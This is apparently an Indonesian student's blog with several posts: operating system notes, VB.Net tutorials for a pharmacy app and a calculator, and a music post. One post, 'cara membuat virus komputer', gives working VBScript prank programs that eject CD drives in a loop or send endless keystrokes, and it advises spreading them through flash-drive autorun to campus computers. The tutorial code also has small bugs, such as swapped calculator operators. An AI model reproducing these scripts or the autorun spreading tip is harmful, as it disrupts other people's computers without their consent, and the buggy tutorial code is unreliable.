  • Memetakan berkas ke secondary storage.
  • Mem-backup berkas ke media penyimpanan yang permanen (non-volatile).

Sistem Proteksi

Proteksi mengacu pada mekanisme untuk mengontrol akses yang dilakukan oleh program, prosesor, atau pengguna ke sistem sumber daya. Mekanisme proteksi harus:

  • membedakan antara penggunaan yang sudah diberi izin dan yang belum.
  • specify the controls to be imposed.
  • provide a means of enforcement.

Jaringan

Sistem terdistribusi adalah sekumpulan prosesor yang tidak berbagi memori atau clock. Tiap prosesor mempunyai memori sendiri. Prosesor-prosesor tersebut terhubung melalui jaringan komunikasi Sistem terdistribusi menyediakan akses pengguna ke bermacam sumber-daya sistem. Akses tersebut menyebabkan:

  • Computation speed-up.
  • Increased data availability.
  • Enhanced reliability.

Mungkin cukup sampai disini  yang bisa saya berikan, mudah-mudahan bermanfaat bagi anda, kurang lebihnya saya minta maaf yang sebesar-besarnya..



Belajar VB.Net dg DataBase MM.access

Program Apotik

Pada posting kali ini saya akan mencoba membuat program Apotik dg Visual Basic 2008  dan  Menggunakan DataBase  Microsoft Access.. dan  ternyata embuat program Apotik sangatlah mudah tidak seperti yang kubayangkan sebelumnya lho kawan-kawan. mau Tau trikya ..???  berikut adalah triknya …

  1. langkah yg pertama kita masuk ke MM.Access>>Blank Database>>FileName(masukkan nama Database>>Create>> DesainVuew>> kemudian Isilah  tabel  dubawah ini:

File name    Type data
ID        Text
Nama Obat    Text
Jenis Obat    Text
Kemasan        Number
Harga        Number
Jumlah        Number
Total        Number
Pembayaran    Number
Kembalian    Date/Time

>> klik DataSetView >>Simpan>>Isilah Table tersebut>>Save as Access 2002-2003 DataBase>>Simpan pd file yg anda inginkan

2.kita masuk ke mikrosoft visual studio>>File>>Nem Project>>Visual Basic>>Windows Application>>Ok

3. Data>>Add New Data Source>>DataBase>>Next>>New Conection>>Microsoft Access Database File (OLE DB)>>Brouser(File Database anda)>>Test Conection>>OK>>Next>No>>Next>>kasih tanda pada kotak table dan views dan Finish.

4. Data>>Show Data Source>>maka disebelah kanan muncul Data Source >>Table>>Detail>>pada tabel jenis obat dan kemasan gantilah dengan ComboBox>>Klik Dan tahan Pada Table lalu geser pada tampilan Form (Rapikan)>>Table>>DataGrid>> Klik Dan tahan Pada Table lalu geser pada tampilan Form (Rapikan).

5. Jenis_ObatComboBox isilah item dg cara klik KemasanComboBox>>Items(property)>>(isi) Cair (enter) Tablet (enter) Kapsul OK

6. Jenis_ObatComboBox isilah item dg cara klik Jenis_ObatComboBox>>Items(property)Shaset (enter)Botol (enter)Kaleng
Kardus OK

7. kasih komponen  Time >>Interval=1000,enable=true

8. masukkan kode dibawah ini:

Public Class Form1

Private Sub Table1BindingNavigatorSaveItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Table1BindingNavigatorSaveItem.Click
Me.Validate()
Me.Table1BindingSource.EndEdit()
Me.TableAdapterManager.UpdateAll(Me._DB_ApotikDataSet)
MessageBox.Show(“Data telah Berhasil Disimpan”, “Informasi”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk)
IDTextBox.Enabled = False
Nama_ObatTextBox.Focus()
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
‘TODO: This line of code loads data into the ‘_DB_ApotikDataSet.Table1’ table. You can move, or remove it, as needed.
Me.Table1TableAdapter.Fill(Me._DB_ApotikDataSet.Table1)
IDTextBox.Focus()
End Sub
Private Sub BindingNavigatorDeleteItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BindingNavigatorDeleteItem.Click
Me.Validate()
Me.Table1BindingSource.CancelEdit()
Me.TableAdapterManager.UpdateAll(Me._DB_ApotikDataSet)
MessageBox.Show(“Data telah Berhasil Dihapus”, “Informasi”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk)
IDTextBox.Enabled = False
Nama_ObatTextBox.Focus()
End Sub

Private Sub BindingNavigatorAddNewItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BindingNavigatorAddNewItem.Click
IDTextBox.Enabled = False
Nama_ObatTextBox.Focus()
End Sub

Private Sub BindingNavigatorMoveFirstItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BindingNavigatorMoveFirstItem.Click
MessageBox.Show(“Anda barada pada baris pertama”, “Informasi”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk)
End Sub

Private Sub BindingNavigatorMoveLastItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BindingNavigatorMoveLastItem.Click
MessageBox.Show(“Anda barada pada baris terakhir”, “Informasi”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk)
End Sub

Private Sub ToolStripButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton1.Click
Dim respone As MsgBoxResult
respone = MsgBox(“Apakah Anda Ingin keluar dari applikasi?”, MsgBoxStyle.OkCancel, “Kofirmasi Keluar”)
If MsgBoxResult.Ok Then
Me.Close()
End If
End Sub

Sub Hitung()
Total_hargaTextBox.Text = Val(JumlahTextBox.Text) * Val(HargaTextBox.Text)
KembalianTextBox.Text = Val(PembayaranTextBox.Text) – Val(Total_hargaTextBox.Text)
End Sub

Private Sub JumlahTextBox_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles JumlahTextBox.TextChanged
Call Hitung()
End Sub

Private Sub Total_hargaTextBox_click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Total_hargaTextBox.Click

End Sub
Private Sub Total_hargaTextBox_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Total_hargaTextBox.TextChanged

End Sub

Private Sub PembayaranTextBox_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PembayaranTextBox.TextChanged
Call Hitung()
End Sub

Private Sub KembalianTextBox_click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles KembalianTextBox.Click

End Sub
Private Sub KembalianTextBox_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles KembalianTextBox.TextChanged

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Label1.Text = TimeOfDay
End Sub
End Class

9. dan yang terakhir Debug, jika berhasil maka hasilnya akan terlihat gabar seperti ini :

Selamat Mencoba semoga berhasil….

music

Musik adalah penyemangat dlm hidup ku… bagiku dunia tak bergema tanpa adanya musik dan semua orangpun mungkin suka dengan musik dan siapa sih yang tak kenal dengan musik..??  dari rock, klasik, jaz, relijius hingga campur sari. dari kecil aku suka musik dan aku tak jauh dari musik karena musik kadang membawa suasana hati disaat aku senang, sedih, gembira, takut, dan putus asa karena musik kebanyakan membawa pesan-pesan  dalam setiap lirik dan syairnya. aku pribadi sangat suka dengan musik slow rock karena musik rock membuat aku jadi semangat dan bergairah disaat aku lesu, ngantuk nggak ada semangat dalam bekerja…  kerana itu kali ini dalam posting ini aku kasih lagu bon jovi with it’s my life.
selamat mendengarkan

cara membuat virus komputer


Sudah tidak asing lagi kita mendengar kata “virus”  yang katanya menakutkan karena membuat komputer jadi lemot dan rusak. pada blog ini bukan saya bermaksud mengajari tapi cuma bagi-bagi ilmu dan saya juga dapat ilmu ini dari temen, tapi jangan sampai disalah gunakan ya…..??  tapi kalo cuma iseng-iseng sama temen bermaksud biar temen berhenti main komputer  sih nggak papa. tapi mudah-mudahan bermanfaat dan yang penting kita nambah pengatahuan aja yah…. ??

Ni caranya yang pertama kita  Buka notepad dan masukkan code berikut,

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count &gt;= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Kemudian simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.

Nah mau script .vbs yang laen lagi?

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop

Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?

ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Buat virus nakal

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” :D

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop

Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop

Terus tekan backspace:

MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop
demikian dari saya mudah-mudahan bermanfaat bag para pembaca ya……..

Belajar Visual Basic

Membuat Program Kalkulator Sederhana

Membuat program kalkulator menggunakan Visual Basic 2008 ternyata sangatlah mudah tidak seperti yang kubayangkan sebelumnya. mau Tau trikya ..??? ini dia triknya…

  1. kita masuk ke mikrosoft visual studio>>File>>Nem Project>>Visual Basic>>Windows Application>>Ok

Tampilan Form

Isilah Form dengan masukkan komponen pada TollBox dan aturlah properti sebagai berikut :

oolbox    Nama    Text
TextBox    TextBox1
TextBox2
TextBox3
Label    Label1    Bil Pertama
Label2    Bil Kedua
Label3    Hasil
Button    Button1    +
Button2    –
Button3    *
Button4    :
Button5    Clear
Button6    Exit

Kemudian Masukkan Kode Dibawah Ini

Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
TextBox1.Focus()
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
TextBox3.Text = Val(TextBox1.Text) + Val(TextBox2.Text)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
TextBox3.Text = Val(TextBox1.Text) – Val(TextBox2.Text)
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
TextBox3.Text = Val(TextBox1.Text) / Val(TextBox2.Text)
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
TextBox3.Text = Val(TextBox1.Text) * Val(TextBox2.Text)
End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
TextBox1.Clear()
TextBox2.Clear()
TextBox3.Clear()
TextBox1.Focus
End Sub

Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
End
End Sub
End Class

Hello world!

hay para bloger….  aku ipull dari stmik mercusuar blog ini dibuat berdasarkan keinginan untuk mencari ilmu dunia komputer dan teknologi yang saat ini berkembang sangat pesat  dan berkembang pada bidang web dan menambah wawasan didunia maya yaaa syukur-syukur menjadi IT masa depan…  AMIN..!!!